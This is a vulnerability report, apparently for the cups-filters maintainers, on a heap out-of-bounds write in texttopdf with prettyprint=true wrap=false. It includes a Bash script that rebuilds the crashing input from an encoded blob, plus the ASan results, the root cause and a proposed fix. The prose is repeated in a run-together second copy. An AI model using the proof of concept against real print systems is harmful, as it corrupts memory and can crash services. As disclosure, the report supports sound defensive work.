Summary
With prettyprint=true wrap=false, a source line can advance beyond the
allocated page width. If text beyond that boundary is recognized as a
keyword, cfFilterTextToPDF() writes ATTR_BOLD to lchar_t cells after the
page allocation.
The document and normal filter options reach the standalone texttopdf
pipeline. The demonstrated write sets a fixed attribute bit at four-byte
intervals; it is reliable heap corruption, but not an arbitrary write.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a
- libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686
- libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.txt contains 6,468 spaces followed by while . Its SHA-256 is
9fbe67a38cc10f92818dd642435843ca7ca7fcebff33b7cc3cd078d02d9446a2.
Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: texttopdf: prettyprint without wrapping corrupts the page heap
# Finding ID: texttopdf-prettyprint-nowrap-heap-oob
# Trigger: With prettyprint=true wrap=false, a source line can advance beyond
# the allocated page width. If text beyond that boundary is recognized as a
# keyword, cfFilterTextToPDF() writes ATTR_BOLD to lchar_t cells after the
# page allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.txt (6474 bytes)
write_file document.txt 9fbe67a38cc10f92818dd642435843ca7ca7fcebff33b7cc3cd078d02d9446a2 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+3BwQkAMAgEsFVuOaGCf9fv3xmSJAAAAAAAAFz7eiofJraT60oZAAA=
POC_PAYLOAD_0
Result
ASan reports a heap-buffer-overflow at texttopdf.c:1292. The plain build
reaches glibc heap consistency checks and aborts with
double free or corruption (out), status 134. Changing the option to
wrap=true completes normally.
Cause and expected behavior
When wrapping is disabled, the input loop at texttopdf.c:883 allows
column to grow beyond the physical page width. The syntax highlighter saves
that position as keycol at line 1304 and, after recognizing a keyword,
iterates from keycol to column at lines 1290-1293. It does not verify that
keycol + page-column offset is inside the contiguous page allocation made
at line 964.
The filter should clip syntax attributes to the allocated row width, or stop
recording/highlighting columns once no-wrap text leaves the page.
Summary
With
prettyprint=true wrap=false, a source line can advance beyond theallocated page width. If text beyond that boundary is recognized as a
keyword,
cfFilterTextToPDF()writesATTR_BOLDtolchar_tcells after thepage allocation.
The document and normal filter options reach the standalone
texttopdfpipeline. The demonstrated write sets a fixed attribute bit at four-byte
intervals; it is reliable heap corruption, but not an arbitrary write.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters
11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppdfc41539f761286396a7df8aeeda762070192e37e.Validated revisions:
11d1a190530f85a361a1b3835f57d635256dff1a905fd94fb22a9298bc8e2c845eb7e04f7055b686522af8dd135f4dde66b1aac8b9d067808bbe122dpoc/document.txtcontains 6,468 spaces followed bywhile. Its SHA-256 is9fbe67a38cc10f92818dd642435843ca7ca7fcebff33b7cc3cd078d02d9446a2.Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
ASan reports a heap-buffer-overflow at
texttopdf.c:1292. The plain buildreaches glibc heap consistency checks and aborts with
double free or corruption (out), status 134. Changing the option towrap=truecompletes normally.Cause and expected behavior
When wrapping is disabled, the input loop at
texttopdf.c:883allowscolumnto grow beyond the physical page width. The syntax highlighter savesthat position as
keycolat line 1304 and, after recognizing a keyword,iterates from
keycoltocolumnat lines 1290-1293. It does not verify thatkeycol + page-column offsetis inside the contiguous page allocation madeat line 964.
The filter should clip syntax attributes to the allocated row width, or stop
recording/highlighting columns once no-wrap text leaves the page.